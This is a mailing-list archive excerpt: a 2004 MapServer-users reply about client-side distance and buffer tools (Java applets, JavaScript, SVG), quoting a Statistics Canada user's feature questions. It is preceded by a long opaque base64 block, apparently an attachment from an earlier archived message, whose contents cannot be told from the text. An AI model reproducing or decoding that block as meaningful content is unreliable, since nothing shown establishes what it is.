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 ----------lldoemeixdgjjmjycago-- From Jean-Francois.Doyon@CCRS.NRCan.gc.ca Mon Mar 1 16:32:54 2004 From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Mon, 1 Mar 2004 11:32:54 -0500 Subject: [Mapserver-users] Researching the Capabilities of MapServer Message-ID: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C3FFAA.D924E29E Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Oh, one big ommission on my part: =20 Some fo the things you talk about could potentially need a Java applet: =20 The Distance measuring tool can be implemented on the client using a = Java applet, there are a few alreadin existence that probably provide this functionality (I don't know for sure, I have severe allergic reactions = to Java in the browser). Otherwise you can always go back to the server = and figure it out there obviously. Some people have implemented in = JavaScript, such as the Chameleon toolkit ( http://www.maptools.org ). =20 The buffer you're pretty much going to NEED a Java applet, as I've = never heard of any way to draw circles in a browser in any other = cross-browser way (There's also the possibility of using SVG or Flash interfaces = actually, but that may be less cross-platform). =20 J.F. -----Original Message----- From: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of Darren.Cope@statcan.ca Sent: Monday, March 01, 2004 8:57 AM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Researching the Capabilities of MapServer Hello all,=20 I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer. At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup. I have set up the basic Itasca demo, and have = it (mostly) working with some of our own data. From what I have seen, = basic .cgi MapServer is not able to perform many of the tasks necessary (see below). However, I am beginning to learn of the other available = projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many = of these things. At this point, I have not used any of these other tools, = and no next to nothing about them (the MapServer that I have set up = currently allows only the basic .cgi functionality [pan, zoom, query] of the = Itasca Demo.) I would like to know if the features listed below are possible, = and if so, how I would go about implementing these features (e.g. do I need = PHP, dhtml, GeoServer, MapScript, etc., etc.) What I would like is a full featured application which can perform the following tasks:=20 - search based on text field(s) and then zoom to matching record(s) (e.g. enter a city name and a street name, and zoom to that street) - geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point) - search based on topology (e.g. find where two streets intersect and zoom to that location)=20 - have an "identify" tool which pops up attributes of feature(s) = when they are clicked on=20 - measure distance between points selected by the user=20 - draw buffers around a clicked point based on a user defined = radius=20 - highlight a selected feature and retain its highlighting until = the user "clears" it=20 Also, I would appreciate a brief run-down of the applications which = work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does. I realize this email covers a broad range of topics, and is asking a = lot--so thanks in advance for helping me out with all these questions! Darren Cope=20 Statistics Canada/Statistique Canada=20 Geography Division/Division de la g=E9ographie=20 Jean Talon 3D5=20 Ottawa, Canada=20 (613) 951-6461=20 ------_=_NextPart_001_01C3FFAA.D924E29E Content-Type: text/html; charset="iso-8859-1" Researching the Capabilities of MapServer
Oh, one big ommission on my part:
 
Some fo the things you talk about could potentially need a Java applet:
 
The Distance measuring tool can be implemented on the client using a Java applet, there are a few alreadin existence that probably provide this functionality (I don't know for sure, I have severe allergic reactions to Java in the browser).  Otherwise you can always go back to the server and figure it out there obviously.  Some people have implemented in JavaScript, such as the Chameleon toolkit ( http://www.maptools.org ).
 
The buffer you're pretty much going to NEED a Java applet, as I've never heard of any way to draw circles in a browser in any other cross-browser way (There's also the possibility of using SVG or Flash interfaces actually, but that may be less cross-platform).
 
J.F.
-----Original Message-----
From: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu]On Behalf Of Darren.Cope@statcan.ca
Sent: Monday, March 01, 2004 8:57 AM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Researching the Capabilities of MapServer

Hello all,

I am new to the world of MapServer, and have many questions, mostly regarding the capabilities of MapServer.  At this point I am merely researching the possibility of using MapServer as a replacement for an existing ArcIMS setup.  I have set up the basic Itasca demo, and have it (mostly) working with some of our own data.  From what I have seen, basic .cgi MapServer is not able to perform many of the tasks necessary (see below).  However, I am beginning to learn of the other available projects (e.g. GeoServer, MapScript, etc.) that work with MapServer to do many of these things.  At this point, I have not used any of these other tools, and no next to nothing about them (the MapServer that I have set up currently allows only the basic .cgi functionality [pan, zoom, query] of the Itasca Demo.)  I would like to know if the features listed below are possible, and if so, how I would go about implementing these features (e.g. do I need PHP, dhtml, GeoServer, MapScript, etc., etc.)

What I would like is a full featured application which can perform the following tasks:

    -       search based on text field(s) and then zoom to matching record(s)  (e.g. enter a city name and a street name, and zoom to that street)

    -       geocode addresses (e.g. interpolate positions along a street based on from/to address ranges and zoom to that point)

    -       search based on topology (e.g. find where two streets intersect and zoom to that location)
    -       have an "identify" tool which pops up attributes of feature(s) when they are clicked on
    -       measure distance between points selected by the user
    -       draw buffers around a clicked point based on a user defined radius
    -       highlight a selected feature and retain its highlighting until the user "clears" it

Also, I would appreciate a brief run-down of the applications which work with MapServer (e.g. GeoServer, MapScript, etc.), how they relate to MapServer (and each other), and what each one does.

I realize this email covers a broad range of topics, and is asking a lot--so thanks in advance for helping me out with all these questions!

Darren Cope
Statistics Canada/Statistique Canada
Geography Division/Division de la géographie
